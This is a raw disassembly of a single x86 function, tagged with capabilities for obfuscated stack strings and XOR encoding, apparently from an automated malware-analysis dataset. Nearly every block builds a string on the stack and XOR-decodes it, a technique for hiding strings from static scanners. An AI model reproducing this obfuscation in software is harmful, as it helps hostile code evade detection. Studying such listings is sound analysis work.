Function at 0x40251c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x344
push ebx
push esi
push edi
mov edi, 0x6400000
push edi
call fcn.0046e9da
mov esi, eax
pop ecx
test esi, esi
je 0x4038fa
push edi
push 0
push esi
call fcn.004693e0
mov bl, byte [esp + 0x21]
add esp, 0xc
xor ecx, ecx
mov dword [esp + 0x38], 0xa
mov eax, ecx
cdq
idiv dword [esp + 0x38]
test edx, edx
je 0x4025aa
cmp edx, 1
je 0x4025a4
cmp edx, 2
je 0x40259e
cmp edx, 3
je 0x402598
cmp edx, 4
je 0x4025a4
cmp edx, 5
jne 0x402584
mov byte [ecx + esi], bl
jmp 0x4025ae
cmp edx, 6
je 0x4025aa
cmp edx, 7
je 0x4025a4
cmp edx, 8
je 0x40259e
cmp edx, 9
jne 0x4025ae
mov byte [ecx + esi], 0x6b
jmp 0x4025ae
mov byte [ecx + esi], 0x63
jmp 0x4025ae
mov byte [ecx + esi], 0x75
jmp 0x4025ae
mov byte [ecx + esi], 0x66
inc ecx
cmp ecx, edi
jl 0x40255b
push esi
call fcn.0046d711
mov dword [esp], 0x494070
push 0
call fcn.0046d986
pop ecx
pop ecx
lea ecx, [esp + 0x40]
call fcn.00401dd8
mov esi, 0x4a19d0
push eax
mov ecx, esi
call fcn.00403a82
lea ecx, [esp + 0x40]
call fcn.00403b2e
movaps xmm0, xmmword [0x49d920]
xor ecx, ecx
push 0x49
pop ebx
movups xmmword [esp + 0xae], xmm0
mov word [esp + 0xbe], 0x2c4d
mov byte [esp + 0xc0], bl
mov word [esp + 0xc1], 0x4f2f
mov byte [esp + 0xc3], 0
mov al, byte [esp + 0xae]
xor byte [esp + ecx + 0xaf], al
inc ecx
cmp ecx, 0x14
jb 0x40261f
lea eax, [esp + 0xaf]
mov byte [esp + 0xc3], 0
push eax
mov ecx, esi
call fcn.0040412c
test al, al
jne 0x403906
mov ecx, 0x4a3ae1
call fcn.00401a0f
test al, al
jne 0x403906
call fcn.00467f11
mov ecx, dword [0x49d108]
mov edi, 0x4a3b08
push edi
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], edx
call fcn.00401522
test eax, eax
je 0x40269a
mov ecx, dword [0x49d108]
push 1
push edi
call fcn.00401604
mov ecx, dword [0x49d108]
push edi
call fcn.0040159c
push 0xdc
call fcn.00467103
movaps xmm0, xmmword [str.1mvT_TCP_mRPCUB]
xor edx, edx
pop ecx
mov esi, eax
mov dword [esp + 0xec], 0x565e5d
movups xmmword [esp + 0xdc], xmm0
mov ecx, edx
mov al, byte [esp + 0xdc]
xor byte [esp + ecx + 0xdd], al
inc ecx
cmp ecx, 0x12
jb 0x4026d1
movaps xmm0, xmmword [0x49dad0]
mov ecx, edx
mov byte [esp + 0xef], dl
movups xmmword [esp + 0xae], xmm0
mov dword [esp + 0xbe], 0x1a1211
mov al, byte [esp + 0xae]
xor byte [esp + ecx + 0xaf], al
inc ecx
cmp ecx, 0x12
jb 0x402708
mov byte [esp + 0xc1], dl
mov cl, 0x10
mov dword [esp + 0xa4], 0x7f534c10
mov eax, edx
mov dword [esp + 0xa8], 0x75797b7f
mov word [esp + 0xac], 0x63
xor byte [esp + eax + 0xa5], cl
inc eax
cmp eax, 8
jae 0x40275d
mov cl, byte [esp + 0xa4]
jmp 0x402747
movaps xmm0, xmmword [0x49dca0]
mov ecx, edx
mov byte [esp + 0xad], dl
movups xmmword [esp + 0xc4], xmm0
mov dword [esp + 0xd4], 0x3d607761
mov dword [esp + 0xd8], 0x747c7f
mov al, byte [esp + 0xc4]
xor byte [esp + ecx + 0xc5], al
inc ecx
cmp ecx, 0x16
jb 0x40278b
lea eax, [esp + 0xdd]
mov byte [esp + 0xdb], dl
push eax
mov edx, edi
lea ecx, [esp + 0x2dc]
call fcn.00403d39
pop ecx
push eax
lea eax, [esp + 0xb3]
mov edx, edi
push eax
lea ecx, [esp + 0x2c8]
call fcn.00403d39
pop ecx
push eax
lea eax, [esp + 0xad]
mov edx, edi
push eax
lea ecx, [esp + 0x2b4]
call fcn.00403d39
pop ecx
push eax
lea eax, [esp + 0xd1]
mov edx, edi
push eax
lea ecx, [esp + 0x2a0]
call fcn.00403d39
pop ecx
push eax
mov ecx, esi
call fcn.00401c31
lea ecx, [esp + 0x290]
mov edi, eax
call fcn.00403b2e
lea ecx, [esp + 0x2a8]
call fcn.00403b2e
lea ecx, [esp + 0x2c0]
call fcn.00403b2e
lea ecx, [esp + 0x2d8]
call fcn.00403b2e
mov cl, 0x1c
mov dword [esp + 0x10], 0x7948401c
mov dword [esp + 0x14], 0x6e7b7970
xor eax, eax
mov word [esp + 0x18], 0x717d
mov byte [esp + 0x1a], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 9
jae 0x40286f
mov cl, byte [esp + 0x10]
jmp 0x40285f
lea eax, [esp + 0x11]
mov byte [esp + 0x1a], 0
mov esi, 0x4a3b08
lea ecx, [esp + 0x40]
push eax
mov edx, esi
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
mov cl, 0x2b
mov dword [esp + 0x10], 0x4e7f772b
mov dword [esp + 0x14], 0x594c4e47
xor eax, eax
mov word [esp + 0x18], 0x464a
mov byte [esp + 0x1a], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 9
jae 0x4028cf
mov cl, byte [esp + 0x10]
jmp 0x4028bf
lea eax, [esp + 0x11]
mov byte [esp + 0x1a], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.0045e122
lea ecx, [esp + 0x40]
call fcn.00403b2e
mov ecx, 0x4a3b68
call fcn.004039e7
lea ecx, [esp + 0x70]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
push 0x39
pop ecx
test eax, eax
je 0x402936
mov ecx, 0x4a3b80
call fcn.004039e7
lea ecx, [esp + 0x70]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
test eax, eax
jne 0x402ab8
push 0x39
pop ecx
push 0xa
mov byte [esp + 0x14], cl
xor eax, eax
mov dword [esp + 0x15], 0x55507f65
mov dword [esp + 0x19], 0x5550635c
mov word [esp + 0x1d], 0x5855
mov byte [esp + 0x1f], 0
pop esi
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, esi
jae 0x40296a
mov cl, byte [esp + 0x10]
jmp 0x40295b
lea eax, [esp + 0x11]
mov byte [esp + 0x1b], 0
push eax
mov edx, 0x4a3b08
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
mov esi, 0x4a3b68
mov ecx, esi
call fcn.004039e7
lea ecx, [esp + 0x70]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
test eax, eax
jne 0x402a2d
movaps xmm0, xmmword [0x49d720]
xor ecx, ecx
movups xmmword [esp + 0x70], xmm0
mov dword [esp + 0x80], 0x91f1802
mov dword [esp + 0x84], 0x1e091a1e
mov word [esp + 0x88], 0x421f
mov dword [esp + 0x8a], 0x114
mov al, byte [esp + 0x70]
xor byte [esp + ecx + 0x71], al
inc ecx
cmp ecx, 0x1c
jb 0x4029ee
lea eax, [esp + 0x71]
mov byte [esp + 0x8d], 0
push eax
mov edx, 0x4a3b08
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
push eax
push esi
mov ecx, 0x4a3ae0
call fcn.00401bbb
lea ecx, [esp + 0x40]
call fcn.00403b2e
mov esi, 0x4a3b80
mov ecx, esi
call fcn.004039e7
lea ecx, [esp + 0x70]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
test eax, eax
jne 0x402ab8
movaps xmm0, xmmword [0x49daa0]
xor ecx, ecx
movups xmmword [esp + 0x70], xmm0
mov dword [esp + 0x80], 0x545b5458
mov dword [esp + 0x84], 0x1b475052
mov dword [esp + 0x88], 0x59584d
mov al, byte [esp + 0x70]
xor byte [esp + ecx + 0x71], al
inc ecx
cmp ecx, 0x1a
jb 0x402a79
lea eax, [esp + 0x71]
mov byte [esp + 0x8b], 0
push eax
mov edx, 0x4a3b08
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
push eax
push esi
mov ecx, 0x4a3ae0
call fcn.00401bbb
lea ecx, [esp + 0x40]
call fcn.00403b2e
movaps xmm0, xmmword [0x49da50]
xor ecx, ecx
movups xmmword [esp + 0x21], xmm0
mov word [esp + 0x31], 0x5b44
mov byte [esp + 0x33], 0
mov al, byte [esp + 0x21]
xor byte [esp + ecx + 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x402ad2
lea eax, [esp + 0x22]
mov byte [esp + 0x33], 0
push eax
lea ecx, [esp + 0xfc]
call fcn.00403ae8
lea ecx, [esp + 0xf8]
call fcn.004039e7
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
jne 0x402bab
mov cl, 0x23
mov dword [esp + 0x21], 0x4c517323
mov dword [esp + 0x25], 0x4e425144
mov dword [esp + 0x29], 0x464f4a65
mov word [esp + 0x2d], 0x50
xor byte [esp + eax + 0x22], cl
inc eax
cmp eax, 0xc
jae 0x402b42
mov cl, byte [esp + 0x21]
jmp 0x402b32
lea eax, [esp + 0x22]
mov byte [esp + 0x2e], 0
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
je 0x402bda
mov cl, 0x41
mov dword [esp + 0x21], 0x2e331141
mov dword [esp + 0x25], 0x2c203326
xor eax, eax
mov dword [esp + 0x29], 0x242d2807
mov word [esp + 0x2d], 0x32
xor byte [esp + eax + 0x22], cl
inc eax
cmp eax, 0xc
jae 0x402b8d
mov cl, byte [esp + 0x21]
jmp 0x402b7d
lea eax, [esp + 0x22]
mov byte [esp + 0x2e], 0
push eax
call fcn.0046e9c4
mov edx, eax
pop ecx
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x402ba2
jmp 0x402bca
lea ecx, [esp + 0xf8]
call fcn.004039e7
push eax
call fcn.0046e9c4
mov edx, eax
pop ecx
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x402bc3
sub edx, esi
lea ecx, [esp + 0xf8]
push edx
push eax
call fcn.00403c0c
movaps xmm0, xmmword [str._pROGRAMfILES_bX]
xor ecx, ecx
movups xmmword [esp + 0x21], xmm0
mov word [esp + 0x31], 0x916
mov byte [esp + 0x33], 0
mov al, byte [esp + 0x21]
xor byte [esp + ecx + 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x402bf4
lea eax, [esp + 0x22]
mov byte [esp + 0x33], 0
push eax
lea ecx, [esp + 0xfc]
call fcn.0040412c
test al, al
jne 0x402ddd
movaps xmm0, xmmword [0x49db00]
xor ecx, ecx
movups xmmword [esp + 0x70], xmm0
mov dword [esp + 0x80], 0x657c6b4c
mov dword [esp + 0x84], 0x6f7e6378
mov dword [esp + 0x88], 0x6b6e2479
mov word [esp + 0x8c], 0x7e
mov al, byte [esp + 0x70]
xor byte [esp + ecx + 0x71], al
inc ecx
cmp ecx, 0x1c
jb 0x402c59
lea eax, [esp + 0x71]
mov byte [esp + 0x8d], 0
push eax
lea edx, [esp + 0xfc]
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, eax
call fcn.004039e7
lea ecx, [esp + 0x260]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
lea ecx, [esp + 0x40]
mov esi, eax
call fcn.00403b2e
test esi, esi
jne 0x402ddd
mov cl, 0x2b
mov dword [esp + 0x10], 0x427c772b
mov dword [esp + 0x14], 0x5b5f6d45
xor eax, eax
mov byte [esp + 0x18], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 7
jae 0x402cd8
mov cl, byte [esp + 0x10]
jmp 0x402cc8
lea eax, [esp + 0x11]
mov byte [esp + 0x18], 0
mov esi, 0x4a3b08
lea ecx, [esp + 0x40]
push eax
mov edx, esi
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
movaps xmm0, xmmword [0x49dbf0]
xor edx, edx
movups xmmword [esp + 0x21], xmm0
mov dword [esp + 0x31], 0x773d6076
mov ecx, edx
mov word [esp + 0x35], 0x6772
mov byte [esp + 0x37], dl
mov al, byte [esp + 0x21]
xor byte [esp + ecx + 0x22], al
inc ecx
cmp ecx, 0x15
jb 0x402d2b
movaps xmm0, xmmword [0x49dc90]
mov ecx, edx
mov byte [esp + 0x37], dl
movups xmmword [esp + 0x70], xmm0
mov dword [esp + 0x80], 0x4f564166
mov byte [esp + 0x84], 0x52
mov byte [esp + 0x85], bl
mov dword [esp + 0x86], 0xe534554
mov dword [esp + 0x8a], 0x544144
mov al, byte [esp + 0x70]
xor byte [esp + ecx + 0x71], al
inc ecx
cmp ecx, 0x1c
jb 0x402d7b
lea eax, [esp + 0x22]
mov byte [esp + 0x8d], dl
push eax
mov edx, esi
lea ecx, [esp + 0x12c]
call fcn.00403d39
pop ecx
push eax
lea eax, [esp + 0x75]
push eax
lea edx, [esp + 0x100]
lea ecx, [esp + 0x48]
call fcn.00403d39
pop ecx
push eax
mov ecx, 0x4a3ae0
call fcn.00401bbb
lea ecx, [esp + 0x40]
call fcn.00403b2e
lea ecx, [esp + 0x128]
call fcn.00403b2e
jmp 0x402de2
mov esi, 0x4a3b08
mov cl, bl
mov dword [esp + 0x11], 0x272c0e15
mov byte [esp + 0x10], cl
xor eax, eax
mov dword [esp + 0x15], 0x25283b2c
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x402e0f
mov cl, byte [esp + 0x10]
jmp 0x402dff
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0xf
pop ebx
mov cl, 0x60
mov word [esp + 0x10], 0x3c60
mov byte [esp + 0x12], 0x23
xor eax, eax
mov byte [esp + 0x13], bl
mov byte [esp + 0x14], bl
mov dword [esp + 0x15], 0x1305090b
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x402e72
mov cl, byte [esp + 0x10]
jmp 0x402e62
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0x40
pop ecx
mov byte [esp + 0x10], cl
xor eax, eax
mov dword [esp + 0x11], 0x151c7a03
mov dword [esp + 0x15], 0x33322533
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x402ecb
mov cl, byte [esp + 0x10]
jmp 0x402ebb
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
lea ecx, [esp + 0x144]
call fcn.00403ae8
mov cl, 0x3a
mov dword [esp + 0x10], 0x4943693a
mov dword [esp + 0x14], 0x7e575f4e
xor eax, eax
mov dword [esp + 0x18], 0x5f4c5348
mov byte [esp + 0x1c], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0xb
jae 0x402f12
mov cl, byte [esp + 0x10]
jmp 0x402f02
lea eax, [esp + 0x11]
mov byte [esp + 0x1c], 0
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
je 0x402ff7
xor edx, edx
mov dword [esp + 0x10], 0x1a3c3569
mov cl, 0x69
mov dword [esp + 0x14], 0x1a1b0c
mov eax, edx
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 6
jae 0x402f50
mov cl, byte [esp + 0x10]
jmp 0x402f40
mov byte [esp + 0x17], dl
mov cl, 0x4d
mov dword [esp + 0x21], 0x3e341e4d
mov eax, edx
mov dword [esp + 0x25], 0x9202839
mov dword [esp + 0x29], 0x283b243f
mov byte [esp + 0x2d], dl
xor byte [esp + eax + 0x22], cl
inc eax
cmp eax, 0xb
jae 0x402f84
mov cl, byte [esp + 0x21]
jmp 0x402f74
lea eax, [esp + 0x22]
mov byte [esp + 0x2d], dl
push eax
call fcn.0046e9c4
pop ecx
push eax
lea ecx, [esp + 0x44]
call fcn.00403ae8
lea ecx, [esp + 0x11]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402fa6
sub ecx, esi
lea eax, [esp + 0x11]
push ecx
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [esp + 0x114]
call fcn.00403ab7
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0x144]
call fcn.00403a82
lea ecx, [esp + 0x110]
call fcn.00403b2e
lea ecx, [esp + 0x40]
call fcn.00403b2e
mov esi, 0x4a3b08
lea edx, [esp + 0x140]
mov ecx, edi
call fcn.00401f4e
push 5
pop ecx
mov byte [esp + 0x10], cl
xor eax, eax
mov dword [esp + 0x11], 0x766c4159
mov dword [esp + 0x15], 0x61776a66
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x403033
mov cl, byte [esp + 0x10]
jmp 0x403023
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
mov byte [esp + 0x10], bl
xor eax, eax
mov dword [esp + 0x11], 0x7c664b53
mov dword [esp + 0x15], 0x6b7d606c
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], bl
inc eax
cmp eax, 8
jae 0x403089
mov bl, byte [esp + 0x10]
jmp 0x403079
lea eax, [esp + 0x11]
xor ebx, ebx
push eax
mov edx, esi
mov byte [esp + 0x1d], bl
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.0045e860
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0x2e
pop ecx
mov byte [esp + 0x10], cl
mov eax, ebx
mov dword [esp + 0x11], 0x42476872
mov word [esp + 0x15], 0x5d4b
mov byte [esp + 0x17], bl
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 6
jae 0x4030dd
mov cl, byte [esp + 0x10]
jmp 0x4030cd
lea eax, [esp + 0x11]
mov byte [esp + 0x17], bl
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0xd
pop ebx
mov cl, 0x61
mov dword [esp + 0x10], 0x8273d61
mov byte [esp + 0x14], bl
xor eax, eax
mov word [esp + 0x15], 0x1204
mov byte [esp + 0x17], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 6
jae 0x403136
mov cl, byte [esp + 0x10]
jmp 0x403126
lea eax, [esp + 0x11]
mov byte [esp + 0x17], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.0045caf5
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0x49
pop ecx
mov byte [esp + 0x10], cl
xor eax, eax
mov dword [esp + 0x11], 0x2c3d1a15
mov word [esp + 0x15], 0x2428
mov byte [esp + 0x17], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 6
jae 0x40318a
mov cl, byte [esp + 0x10]
jmp 0x40317a
lea eax, [esp + 0x11]
mov byte [esp + 0x17], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
mov cl, 0x18
mov dword [esp + 0x10], 0x6c4b4418
mov dword [esp + 0x14], 0x75797d
xor eax, eax
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 6
jae 0x4031d9
mov cl, byte [esp + 0x10]
jmp 0x4031c9
lea eax, [esp + 0x11]
mov byte [esp + 0x17], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.0045da4b
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0x35
pop ecx
mov byte [esp + 0x10], cl
xor eax, eax
mov dword [esp + 0x11], 0x59546269
mov dword [esp + 0x15], 0x46415059
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x40322e
mov cl, byte [esp + 0x10]
jmp 0x40321e
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
mov ecx, dword [0x49d108]
push eax
call fcn.0040159c
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0x39
pop ecx
mov byte [esp + 0x10], cl
xor eax, eax
mov dword [esp + 0x11], 0x55586e65
mov dword [esp + 0x15], 0x4a4d5c55
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x403287
mov cl, byte [esp + 0x10]
jmp 0x403277
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
mov edx, esi
lea ecx, [esp + 0x44]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.0045c618
lea ecx, [esp + 0x40]
call fcn.00403b2e
movaps xmm0, xmmword [0x49dc40]
xor ecx, ecx
movups xmmword [esp + 0x21], xmm0
mov word [esp + 0x31], 0x75
mov al, byte [esp + 0x21]
xor byte [esp + ecx + 0x22], al
inc ecx
cmp ecx, 0x10
jb 0x4032c3
lea eax, [esp + 0x22]
mov byte [esp + 0x32], 0
push 0x64
push eax
mov edx, esi
lea ecx, [esp + 0x48]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.00460b00
lea ecx, [esp + 0x40]
call fcn.00403b2e
movaps xmm0, xmmword [0x49d790]
xor ecx, ecx
movups xmmword [esp + 0x21], xmm0
mov word [esp + 0x31], 6
mov al, byte [esp + 0x21]
xor byte [esp + ecx + 0x22], al
inc ecx
cmp ecx, 0x10
jb 0x40330f
lea eax, [esp + 0xf0]
mov byte [esp + 0x32], 0
push eax
lea eax, [esp + 0x26]
mov edx, esi
push eax
lea ecx, [esp + 0x48]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.0045eabc
lea ecx, [esp + 0x40]
call fcn.00403b2e
movaps xmm0, xmmword [0x49db10]
xor ecx, ecx
movups xmmword [esp + 0x21], xmm0
mov word [esp + 0x31], 0x5f
mov al, byte [esp + 0x21]
xor byte [esp + ecx + 0x22], al
inc ecx
cmp ecx, 0x10
jb 0x403361
push 0x50
lea eax, [esp + 0x26]
mov byte [esp + 0x36], 0
push 0x4a3af0
push eax
mov edx, esi
lea ecx, [esp + 0x4c]
call fcn.00403d39
pop ecx
push eax
mov ecx, edi
call fcn.004599b4
lea ecx, [esp + 0x40]
call fcn.00403b2e
push 0x4a3b20
push esi
mov ecx, edi
call fcn.00461308
movzx edx, byte [edi + 0xda]
lea ecx, [esp + 0x40]
call fcn.00403cb9
push 0x67
pop ecx
push 4
mov byte [esp + 0x14], cl
xor eax, eax
mov dword [esp + 0x15], 0x5a501741
mov byte [esp + 0x19], 0
pop esi
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, esi
jae 0x4033e2
mov cl, byte [esp + 0x10]
jmp 0x4033d3
movzx edx, byte [edi + 0xd9]
lea ecx, [esp + 0x128]
mov byte [esp + 0x15], 0
call fcn.00403cb9
push 0x3e
pop ecx
mov byte [esp + 0x64], cl
xor eax, eax
mov dword [esp + 0x65], 0x3084e18
mov byte [esp + 0x69], 0
xor byte [esp + eax + 0x65], cl
inc eax
cmp eax, esi
jae 0x40341f
mov cl, byte [esp + 0x64]
jmp 0x403410
movzx edx, byte [edi + 0xd8]
lea ecx, [esp + 0x200]
mov byte [esp + 0x69], 0
call fcn.00403cb9
mov byte [esp + 0x5e], bl
xor eax, eax
mov dword [esp + 0x5f], 0x30387d2b
mov byte [esp + 0x63], 0
xor byte [esp + eax + 0x5f], bl
inc eax
cmp eax, esi
jae 0x403459
mov bl, byte [esp + 0x5e]
jmp 0x40344a
mov edx, dword [edi + 0xd0]
lea ecx, [esp + 0x1e8]
xor ebx, ebx
mov byte [esp + 0x63], bl
call fcn.00403d06
push 0x3d
pop ecx
xor eax, eax
mov byte [esp + 0x6a], cl
mov word [esp + 0x6b], 0x4d1b
mov byte [esp + 0x6d], 9
mov word [esp + 0x6e], ax
xor byte [esp + eax + 0x6b], cl
inc eax
cmp eax, esi
jae 0x40349a
mov cl, byte [esp + 0x6a]
jmp 0x40348b
mov edx, dword [edi + 0xcc]
lea ecx, [esp + 0x1d0]
mov byte [esp + 0x6f], bl
call fcn.00403d06
push 0x60
pop ecx
mov byte [esp + 0x58], cl
mov eax, ebx
mov dword [esp + 0x59], 0x5d531046
mov byte [esp + 0x5d], bl
xor byte [esp + eax + 0x59], cl
inc eax
cmp eax, esi
jae 0x4034d4
mov cl, byte [esp + 0x58]
jmp 0x4034c5
mov edx, dword [edi + 0xc8]
lea ecx, [esp + 0x1b8]
mov byte [esp + 0x5d], bl
call fcn.00403d06
push 0x42
pop ecx
mov byte [esp + 0x38], cl
mov eax, ebx
mov dword [esp + 0x39], 0x7f703264
mov byte [esp + 0x3d], bl
xor byte [esp + eax + 0x39], cl
inc eax
cmp eax, esi
jae 0x40350e
mov cl, byte [esp + 0x38]
jmp 0x4034ff
mov edx, dword [edi + 0xc4]
lea ecx, [esp + 0x1a0]
mov byte [esp + 0x3d], bl
call fcn.00403d06
movaps xmm0, xmmword [0x49da60]
mov ecx, ebx
movups xmmword [esp + 0x21], xmm0
mov word [esp + 0x31], 0x47
mov al, byte [esp + 0x21]
xor byte [esp + ecx + 0x22], al
inc ecx
cmp ecx, 0x10
jb 0x403539
lea ecx, [esp + 0x22]
mov byte [esp + 0x32], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403552
sub ecx, edx
lea eax, [esp + 0x22]
push ecx
push eax
push ebx
lea ecx, [esp + 0x1ac]
call fcn.004041ae
push eax
lea ecx, [esp + 0x24c]
call fcn.00403ab7
lea ecx, [esp + 0x39]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403582
sub ecx, edx
lea eax, [esp + 0x39]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.00403c55
push eax
lea ecx, [esp + 0x21c]
call fcn.00403ab7
lea eax, [esp + 0x1b8]
push eax
lea edx, [esp + 0x21c]
lea ecx, [esp + 0x74]
call fcn.00403e20
pop ecx
lea ecx, [esp + 0x59]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4035cc
sub ecx, esi
lea eax, [esp + 0x59]
push ecx
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [esp + 0x18c]
call fcn.00403ab7
lea eax, [esp + 0x1d0]
push eax
lea edx, [esp + 0x18c]
lea ecx, [esp + 0x264]
call fcn.00403e20
pop ecx
lea ecx, [esp + 0x6b]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403614
sub ecx, esi
lea eax, [esp + 0x6b]
push ecx
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [esp + 0x174]
call fcn.00403ab7
lea eax, [esp + 0x1e8]
push eax
lea edx, [esp + 0x174]
lea ecx, [esp + 0x33c]
call fcn.00403e20
pop ecx
lea ecx, [esp + 0x5f]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40365c
sub ecx, esi
lea eax, [esp + 0x5f]
push ecx
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [esp + 0x15c]
call fcn.00403ab7
lea eax, [esp + 0x200]
push eax
lea edx, [esp + 0x15c]
lea ecx, [esp + 0x324]
call fcn.00403e20
pop ecx
lea ecx, [esp + 0x65]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4036a4
sub ecx, esi
lea eax, [esp + 0x65]
push ecx
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [esp + 0x114]
call fcn.00403ab7
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x15]
push eax
lea eax, [esp + 0x130]
push eax
lea edx, [esp + 0x11c]
lea ecx, [esp + 0x314]
call fcn.00403e20
pop ecx
mov edx, eax
lea ecx, [esp + 0x2f8]
call fcn.00403d96
pop ecx
mov edx, eax
lea ecx, [esp + 0x234]
call fcn.00403e20
pop ecx
lea ecx, [esp + 0x2f0]
call fcn.00403a7d
lea ecx, [esp + 0x308]
call fcn.00403a7d
lea ecx, [esp + 0x110]
call fcn.00403a7d
lea ecx, [esp + 0x320]
call fcn.00403a7d
lea ecx, [esp + 0x158]
call fcn.00403a7d
lea ecx, [esp + 0x338]
call fcn.00403a7d
lea ecx, [esp + 0x170]
call fcn.00403a7d
lea ecx, [esp + 0x260]
call fcn.00403a7d
lea ecx, [esp + 0x188]
call fcn.00403a7d
lea ecx, [esp + 0x70]
call fcn.00403a7d
lea ecx, [esp + 0x218]
call fcn.00403a7d
lea ecx, [esp + 0x248]
call fcn.00403a7d
lea ecx, [esp + 0x1a0]
call fcn.00403a7d
